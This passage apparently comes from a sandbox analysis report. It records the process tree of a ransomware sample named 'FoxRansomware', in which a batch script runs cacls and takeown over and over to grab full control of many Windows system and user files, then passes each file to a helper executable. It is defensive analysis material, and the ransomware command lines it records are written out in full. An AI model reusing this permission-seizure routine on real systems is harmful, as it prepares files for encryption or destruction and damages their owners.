    PID:5852
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000095.bin" -nobanner
    3⤵
    PID:6012
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000095.bin" -nobanner
      4⤵
      PID:5188
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7644
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml""
  2⤵
  PID:5936
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml" /E /G Admin:F /C
    3⤵
    PID:508
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml"
    3⤵
    - Modifies file permissions
    PID:5624
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:268
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:3920
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7624
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml""
  2⤵
  PID:5956
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml" /E /G Admin:F /C
    3⤵
    PID:5972
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml"
    3⤵
    PID:8132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:7116
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:8088
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:8080
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A0.bin""
  2⤵
  PID:5964
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A0.bin" /E /G Admin:F /C
    3⤵
    PID:7976
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A0.bin"
    3⤵
    PID:7996
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "000000A0.bin" -nobanner
    3⤵
    PID:7984
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "000000A0.bin" -nobanner
      4⤵
      PID:7980
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7868
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb00001.log""
  2⤵
  PID:8056
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb00001.log" /E /G Admin:F /C
    3⤵
    PID:7928
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb00001.log"
    3⤵
    PID:7904
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "edb00001.log" -nobanner
    3⤵
    PID:7840
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "edb00001.log" -nobanner
      4⤵
      PID:7848
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7804
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml""
  2⤵
  PID:6852
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml" /E /G Admin:F /C
    3⤵
    PID:7716
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml"
    3⤵
    PID:7572
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftLync2010.xml" -nobanner
    3⤵
    PID:7676
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftLync2010.xml" -nobanner
      4⤵
      PID:7664
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7652
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml""
  2⤵
  PID:7724
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml" /E /G Admin:F /C
    3⤵
    PID:7552
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml"
    3⤵
    PID:7504
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftOffice2013Win32.xml" -nobanner
    3⤵
    PID:7512
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftOffice2013Win32.xml" -nobanner
      4⤵
      PID:5204
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6692
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml""
  2⤵
  PID:7508
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml" /E /G Admin:F /C
    3⤵
    PID:7528
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml"
    3⤵
    PID:7004
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftSkypeForBusiness2016Win32.xml" -nobanner
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7576
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftSkypeForBusiness2016Win32.xml" -nobanner
      4⤵
      PID:7380
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7368
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd""
  2⤵
  PID:7320
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd" /E /G Admin:F /C
    3⤵
    PID:7264
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd"
    3⤵
    PID:7448
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner
    3⤵
    PID:7296
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner
      4⤵
      PID:7420
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7216
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000G.bin""
  2⤵
  PID:316
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000G.bin" /E /G Admin:F /C
    3⤵
    PID:7220
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000G.bin"
    3⤵
    PID:7232
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000000G.bin" -nobanner
    3⤵
    PID:5548
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000000G.bin" -nobanner
      4⤵
      PID:5932
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5476
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000R.bin""
  2⤵
  PID:5436
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000R.bin" /E /G Admin:F /C
    3⤵
    PID:5156
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000R.bin"
    3⤵
    PID:4872
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000000R.bin" -nobanner
    3⤵
    PID:2432
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000000R.bin" -nobanner
      4⤵
      PID:5168
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5236
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000015.bin""
  2⤵
  PID:6072
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000015.bin" /E /G Admin:F /C
    3⤵
    PID:5792
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000015.bin"
    3⤵
    PID:6140
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000015.bin" -nobanner
    3⤵
    PID:2072
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000015.bin" -nobanner
      4⤵
      PID:4896
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5828
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006H.bin""
  2⤵
  PID:3568
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006H.bin" /E /G Admin:F /C
    3⤵
    PID:4620
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006H.bin"
    3⤵
    - Modifies file permissions
    PID:6032
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000006H.bin" -nobanner
    3⤵
    PID:6236
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000006H.bin" -nobanner
      4⤵
      PID:528
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5060
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000075.bin""
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1152
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000075.bin" /E /G Admin:F /C
    3⤵
    PID:5748
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000075.bin"
    3⤵
    PID:204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000075.bin" -nobanner
    3⤵
    PID:3080
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000075.bin" -nobanner
      4⤵
      PID:5808
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5908
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000083.bin""
  2⤵
  PID:764
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000083.bin" /E /G Admin:F /C
    3⤵
    PID:3356
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000083.bin"
    3⤵
    PID:596
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000083.bin" -nobanner
    3⤵
    PID:2412
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000083.bin" -nobanner
      4⤵
      PID:2000
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5596
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009F.bin""
  2⤵
  PID:2392
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009F.bin" /E /G Admin:F /C
    3⤵
    PID:5696
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009F.bin"
    3⤵
    PID:5660
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000009F.bin" -nobanner
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5240
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000009F.bin" -nobanner
      4⤵
      PID:5276
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2384
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AL.bin""
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2512
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AL.bin" /E /G Admin:F /C
    3⤵
    PID:2612
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AL.bin"
    3⤵
    - Modifies file permissions
    PID:5336
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "000000AL.bin" -nobanner
    3⤵
    PID:4268
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "000000AL.bin" -nobanner
      4⤵
      System Location Discovery: System Language Discovery
      PID:6172
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:836
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B1.bin""
  2⤵
  PID:5344
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B1.bin" /E /G Admin:F /C
    3⤵
    PID:6004
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B1.bin"
    3⤵
    PID:792
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "000000B1.bin" -nobanner
    3⤵
    PID:6036
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "000000B1.bin" -nobanner
      4⤵
      PID:5340
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3840
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\Settings\settings.dat.LOG1""
  2⤵
  PID:5112
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\Settings\settings.dat.LOG1" /E /G Admin:F /C
    3⤵
    PID:628
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\Settings\settings.dat.LOG1"
    3⤵
    PID:6888
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "settings.dat.LOG1" -nobanner
    3⤵
    PID:6864
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "settings.dat.LOG1" -nobanner
      4⤵
      PID:5304
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1100
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat""
  2⤵
  PID:4580
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat" /E /G Admin:F /C
    3⤵
    PID:6868
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat"
    3⤵
    PID:4588
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "settings.dat" -nobanner
    3⤵
    PID:6228
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "settings.dat" -nobanner
      4⤵
      PID:6184
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6328
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\TileDataLayer\Database\EDB.log""
  2⤵
  PID:6352
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\TileDataLayer\Database\EDB.log" /E /G Admin:F /C
    3⤵
    PID:5424
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\TileDataLayer\Database\EDB.log"
    3⤵
    PID:6240
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "EDB.log" -nobanner
    3⤵
    PID:6476
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "EDB.log" -nobanner
      4⤵
      PID:7336
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6320
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Program Files\Java\jre-1.8\bin\server\classes.jsa""
  2⤵
  PID:6536
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files\Java\jre-1.8\bin\server\classes.jsa" /E /G Admin:F /C
    3⤵
    PID:6508
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Program Files\Java\jre-1.8\bin\server\classes.jsa"
    3⤵
    - Modifies file permissions
    PID:344
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "classes.jsa" -nobanner
    3⤵
    PID:6416
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "classes.jsa" -nobanner
      4⤵
      PID:6412
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6472
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\Settings\settings.dat""
  2⤵
  PID:5520
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\Settings\settings.dat" /E /G Admin:F /C
    3⤵
    PID:7564
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\Settings\settings.dat"
    3⤵
    PID:6468
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "settings.dat" -nobanner
    3⤵
    PID:6564
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "settings.dat" -nobanner
      4⤵
      PID:6648
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6348
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png""
  2⤵
  PID:7036
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png" /E /G Admin:F /C
    3⤵
    PID:7028
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png"
    3⤵
    PID:7356
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "superbar.png" -nobanner
    3⤵
    PID:6604
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "superbar.png" -nobanner
      4⤵
      PID:7560
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7108
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml""
  2⤵
  PID:4736
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml" /E /G Admin:F /C
    3⤵
    PID:5876
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml"
    3⤵
    PID:6756
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:6716
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:7024
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4752
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\uk-UA\resource.xml""
  2⤵
  PID:5852
- - C:\Windows\SysWOW64\cacls.exe
